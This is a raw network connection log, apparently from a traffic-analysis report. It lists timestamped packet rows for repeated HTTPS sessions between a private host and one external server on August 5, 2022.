Aug 5, 2022 15:08:46.189225912 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.194294930 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.194323063 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.525506020 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.525631905 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.525662899 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.525754929 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.528882980 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.528922081 CEST	443	49771	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:46.528938055 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:46.529043913 CEST	49771	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.269078970 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.269148111 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.269272089 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.269917965 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.269958973 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.618753910 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.619324923 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.619658947 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.619682074 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.624130964 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.624182940 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.967066050 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.967128038 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.967281103 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.977474928 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.977520943 CEST	443	49772	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:47.977535963 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:47.978960991 CEST	49772	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.630763054 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.630800009 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:48.630897045 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.631577969 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.631594896 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:48.972028017 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:48.972265005 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.972695112 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.972716093 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:48.979386091 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:48.979424000 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:49.313371897 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:49.313452005 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:49.313532114 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:49.313566923 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:49.327373981 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:49.327400923 CEST	443	49773	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:49.327424049 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:49.327447891 CEST	49773	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.152235031 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.152290106 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.152374029 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.153398037 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.153443098 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.501156092 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.501291990 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.502207041 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.502227068 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.513338089 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.513370991 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.845468044 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.845577955 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.845634937 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.845727921 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.846007109 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.846029997 CEST	443	49774	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:50.846045017 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:50.846200943 CEST	49774	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.248944998 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.248989105 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.249089003 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.249737024 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.249753952 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.592269897 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.592380047 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.593024969 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.593033075 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.600054979 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.600060940 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.933254957 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.933322906 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.933351040 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.933372021 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.941987038 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.942009926 CEST	443	49775	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:51.942018986 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:51.942070007 CEST	49775	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:52.948920965 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:52.948961020 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:52.949084997 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:52.951267958 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:52.951281071 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.294105053 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.294218063 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.294945955 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.294965982 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.308156967 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.308180094 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.633537054 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.633668900 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.633964062 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.669550896 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.669579983 CEST	443	49776	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:53.669595003 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:53.669648886 CEST	49776	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.581990957 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.582081079 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:58.582207918 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.583401918 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.583430052 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:58.924396992 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:58.924562931 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.953155041 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.953181028 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:58.958311081 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:58.958350897 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:59.263298988 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:59.263381004 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:59.263397932 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:59.263446093 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:59.263457060 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:59.263497114 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:59.273497105 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:59.273542881 CEST	443	49777	199.79.62.221	192.168.2.4
Aug 5, 2022 15:08:59.273555994 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:08:59.273597956 CEST	49777	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.463267088 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.463315964 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:00.463541031 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.464472055 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.464494944 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:00.805680990 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:00.806341887 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.806363106 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.806371927 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:00.811225891 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:00.811249018 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.151470900 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.151604891 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.151640892 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.151729107 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.153700113 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.153731108 CEST	443	49783	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.153745890 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.153970957 CEST	49783	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.561825037 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.561863899 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.562328100 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.563405037 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.563417912 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.907699108 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.907993078 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.908592939 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.908607006 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:01.913769960 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:01.913781881 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:02.250935078 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:02.251036882 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:02.251102924 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.251146078 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.256613016 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.256637096 CEST	443	49789	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:02.256645918 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.257400036 CEST	49789	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.670437098 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.670490026 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:02.670567036 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.671386003 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:02.671410084 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.012434006 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.012608051 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.013545990 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.013567924 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.019748926 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.019782066 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.352096081 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.352197886 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.352395058 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.352622032 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.352643967 CEST	443	49791	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:03.352655888 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:03.352714062 CEST	49791	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.294447899 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.294504881 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.294620991 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.295876026 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.295896053 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.639496088 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.639626026 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.640794992 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.640813112 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.645477057 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.645502090 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.982764006 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.982851982 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.982884884 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.982904911 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.992831945 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.992877960 CEST	443	49794	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:04.992887020 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:04.994479895 CEST	49794	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.032624960 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.032666922 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.032789946 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.033855915 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.033874989 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.375685930 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.377983093 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.378518105 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.378530979 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.386393070 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.386415005 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.715323925 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.715436935 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.715488911 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.715521097 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.751811981 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.751848936 CEST	443	49795	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:06.751871109 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:06.751955986 CEST	49795	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.006793022 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.006880999 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.006962061 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.007834911 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.007858038 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.352458954 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.352613926 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.354541063 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.354574919 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.359697104 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.359746933 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.695703030 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.697455883 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.697602034 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.718755960 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.718811989 CEST	443	49796	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:08.718826056 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:08.719103098 CEST	49796	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.422013998 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.422063112 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:09.422153950 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.422758102 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.422780037 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:09.763037920 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:09.766736031 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.767695904 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.767713070 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:09.774574041 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:09.774593115 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.102091074 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.102225065 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.102298021 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.102353096 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.116251945 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.116286039 CEST	443	49797	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.116393089 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.116434097 CEST	49797	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.527673960 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.527736902 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.527867079 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.532030106 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.532069921 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.873038054 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.873279095 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.874087095 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.874102116 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:10.939831972 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:10.939870119 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.213038921 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.213151932 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.213205099 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.213265896 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.224020004 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.224069118 CEST	443	49799	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.224085093 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.224140882 CEST	49799	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.631772041 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.631812096 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.631895065 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.632968903 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.632996082 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.977468014 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.977554083 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.978147030 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.978168964 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:11.982621908 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:11.982647896 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:12.323118925 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:12.323219061 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:12.323225975 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.323276043 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.337960005 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.337986946 CEST	443	49800	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:12.337996960 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.338047981 CEST	49800	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.664369106 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.664410114 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:12.664526939 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.666033983 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:12.666043997 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.005897999 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.005999088 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.006599903 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.006606102 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.013004065 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.013015032 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.345814943 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.345935106 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.345949888 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.346008062 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.371428967 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.371465921 CEST	443	49801	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:13.371480942 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:13.371629953 CEST	49801	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.016937017 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.017030954 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.017132044 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.018894911 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.018925905 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.368244886 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.368444920 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.380666018 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.380700111 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.387077093 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.387114048 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.716636896 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.716737986 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.716769934 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.716795921 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.725826979 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.725888014 CEST	443	49802	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:14.725905895 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:14.725940943 CEST	49802	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:16.221357107 CEST	49803	443	192.168.2.4	199.79.62.221
